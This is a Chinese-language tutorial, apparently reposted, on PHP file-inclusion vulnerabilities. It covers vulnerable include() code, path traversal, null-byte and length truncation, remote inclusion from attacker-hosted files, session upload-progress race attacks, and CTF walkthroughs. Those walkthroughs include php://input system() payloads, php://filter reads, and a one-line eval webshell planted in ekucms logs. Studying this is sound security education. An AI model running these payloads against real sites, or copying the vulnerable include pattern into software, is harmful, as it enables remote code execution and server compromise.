文件包含漏洞全解


文件包含漏洞原理

1.什么是文件包含

程序开发人员有时可能重复使用函数写到单个文件中,在使用某些函数时直接调用此文件,无需再次编写,这种调用文件额过程称为文件包含。

2.php中常见的包含文件的函数

  • include()
    当使用改函数包含文件时,只有代码执行到include()函数时才将文件包含进来,法神错误时会给一个警告,继续向下执行。
  • include_once()
    功能与include()相同,,区别在于当重复同一文件时,程序只调用一次。
  • require()
    require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本运行。
  • require_once()
    require_once()和require()相同,区别在于当重复调用同一文件时,程序只调用一次。

几乎所有的脚本语言中都提供文件包含的功能,但文件包含漏洞在 PHP 中
居多,而在JSP、ASP、ASP.NET程序中非常少,甚至没有包含漏洞的存在。

文件包含各个脚本中代码

ASP、PHP、JSP、ASPX等

<!--#include file="1.asp"-->
<!--#include file="top.aspx"-->
<c: import url="http://thief.one/1.jsp">
<jsp: include page="head.jsp" />
<%@ include file="head.jsp" %>
<?php Include('test.php') ?>

文件包含类型

  • 无限制php文件包含代码:
<?php
$filename =  $_GET['filename'];
include($filename);
?>
  • 有限制php文件包含代码
<?php
$filename =  $_GET['filename'];
include($filename.".html");#强制修改后缀
?>

1.本地包含

本质是访问服务器本身已经存在的文件。或者可以上传的文件,在直到上传的目录结构下。

  • 无限制情况
    本地网站目录存在文件1.txt,其里面包含php代码。当利用文件包含网页访问1.txt时,里面的php代码被执行。
http://127.0.0.1/include.php?filename=1.txt

image
若文件www.txt在E盘根目录下
image
网站目录在三级目录下
image
可构造访问

http://127.0.0.1/include.php?filename=../../../www.txt

image

  • 有限制情况
    有限制的情况下,文件会被强制加上后缀,无法正常解析和执行。
    image
    %00截断
    条件:magic_quotes_gpc=off,php版本<5.3.4
http://127.0.0.1/include.php?filename=1.txt%00

image
长度截断
条件:windows点号要长于256,linux要长于4096
image

2.远程包含

在php中,要实现远程包含的条件是:allow_url_include=on,allow_url_fopen=on。
原理是通过读取自己服务器的文件,在目标服务器上进行执行。

  • 无限制
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt
  • 有限制
    可通过%20、%23、?进行截断
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%00
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt%23
http://www.xxxx.com/include.php?filename=http://xxx.xxx.xxx.xxx/x.txt?

3.Session包含

  • 定义
    当可以获取Session文件路径并且Session文件内容可控时,就可以通过包含Session内容可控。相关版本php>=5.4.0

相关配置

在Session文件包含时需要php.ini中几个相关配置。

  1. session.upload_progress.enabled = On
    当session.upload_progress.enabled选项开启时,PHP能够在每一个文件上传时监测上传进度。这个信息本身没有什么帮助,但在文件上传时应用可以发送一个POST亲求到终端(如XHR)来检查这个状态。
  2. session.upload_progress.cleanup = On
    session.upload_progress.cleanup = On 的意思就是在读取完POST的数据后,php就会删除session文件中关于上传进度的信息。
  3. session.upload_progress.prefix = “upload_progress_”
  4. session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
    当一个上传在处理中,同时POST一个与ini中设置的session.upload_progress.name同名变量时,上传进度可以在$_session中获得。当PHP检测到这种POST请求时,会在$_session中添加一组数据,索引时=是:session.upload_progress.prefix与session.upload_progress.name连接到一起的值。这些键值可以通过读取ini设置来获得,如:
<?php
$key = ini_get("session.upload_progress.prefix").in_get("session.upload_prossion.name");
var_dump($_SEESION[$key]);
?>

存储机制

当开启session时,服务器会在零时目录下创建一个session文件保存会话信息,文件格式伪sess_PHPSESSID
在Linux系统中,session文件一般在以下目录:

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

windows中的位置根据安装位置决定。

文件包含利用方法

了解了session.upload_progress相关配置和session和存储机制后,可以通过PHP_SESSION_UPLOAD_PROGRESS将恶意代码写入session文件中,再通过包含session实现RCE。不过还需要两个条件:

  1. 通过session_start()才能开启session,如果没有session_start()这个条件是否就没法利用了,这时需要了解到另一个相关配置:session.use_strict_mode
session.use_strict_mode=on
默认情况下此模块是关闭的。
启用改,哦快的话,会防止会话模块未初始会话的ID。仅接受它自己创建有效会话ID,而拒绝用户自己创建的会话ID。
我们可以自行设置cookie或者使用JavaScript注入的方式来设置会话ID进行攻击。

该选项不开启,我们可以自定义session_id,如,我们在请求数据包设置cookie为PHPSESSID=123,那么就会生成一个sess_123的session文件,此时php会自动初始化session,并产生一个键值,格式为配置文件中的session.upload_progress.prefix的值+我们上传的session.upload_progress.name的值此键值会写入session文件。该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。
2. 因为 session.upload_progress.cleanup默认是开启的
导致在上传结束后,session文件中有关的上传进度信息会马上被删除,此时需要使用条件竞争解决。使用python脚本或burp不断上传数据包,然后在用相同的方式发送文件按包含数据包,即可包含。

各种伪协议玩法

推荐:
https://www.cnblogs.com/endust/p/11804767.html

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;

allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

各协议的利用条件和方法

image

案例演示

1.CTF-南邮大

赛题地址:

http://4.chinalover.sinaapp.com/web7/index.php

打开界面如图:
image
查看网页源码,发现还有一个url,点击进去
image
image
小技巧:
此时url后面的参数是file,且值是show.php
我们直接访问show.php
image
发现与刚才界面显示结果相同。
即:

http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
http://4.chinalover.sinaapp.com/web7/show.php

可以判断是文件包含。
通过大小写判断是什么操作系统。
image
大写报错,说明是linUx。
利用伪协议,执行系统命令读取index.php文件:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

image
利用base64解码,得到flag:
image

2.i 春秋百度杯真题-白盒

地址:

https://www.ichunqiu.com/battalion?t=1&r=0

image
打开后直接可以看见源码:
image
还是先判断操作系统,方便后续操作:
image
是linux。
接着构造,通过执行php代码获得文件目录:

http://50fd50592cdb4726bac09c6f0dadab3bf687db61f9084bfa.changame.ichunqiu.com/?path=php://input
Post:<?php echo system('ls');?>

image
再利用?path=php://filter/read=convert.base64-encode/resource=dle345aae.php
image
解码得flag:
image

3.ekucms文件包含漏洞

链接:https://pan.baidu.com/s/1TYTP_f4JW3ZbW14niChDxQ
提取码:qwer
本地包含一句话木马:

http://127.0.0.1/ekucms/?s=my/show/id/{~eval($_POST[orange])}

image
会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日
image
进行包含错误日志,地址:

http://127.0.0.1/ekucms/?s=my/show/id/\..\temp\logs\21_09_09.log

image
验证:
蚁剑可连接
image
image

4.session文件包含演示

php版本5.4.45
本机session文件地址:
E:\PHPstdy\PHPTutorial\tmp\tmp
image
相关配置
image
测试源码:

//包含页面123.php
<?php
$file=$_GET['file'];
include($file);
?>

上传表单:

//上传表单 submit.php
<html>
<body>
<form action="http://127.0.0.1/test.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

访问上传表单,上传文件进行抓包。
image
这里我们添加一个 Cookie :PHPSESSID=123,PHP将会在服务器上创建一个文件:/tmp/sess_123
image
将请求包发送到intruder模块,通过爆破来实现不断发包。
image
开始爆破
image
image
可以看到,在session文件的存储目录中生成了名为sess_123的文件
现在尝试向PHP_SESSION_UPLOAD_PEOGRESS中插入恶意代码,并包含session文件。
image
访问包含页面,抓包,设置好路径,也发到intruder模块进行爆破
image
成功
image


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM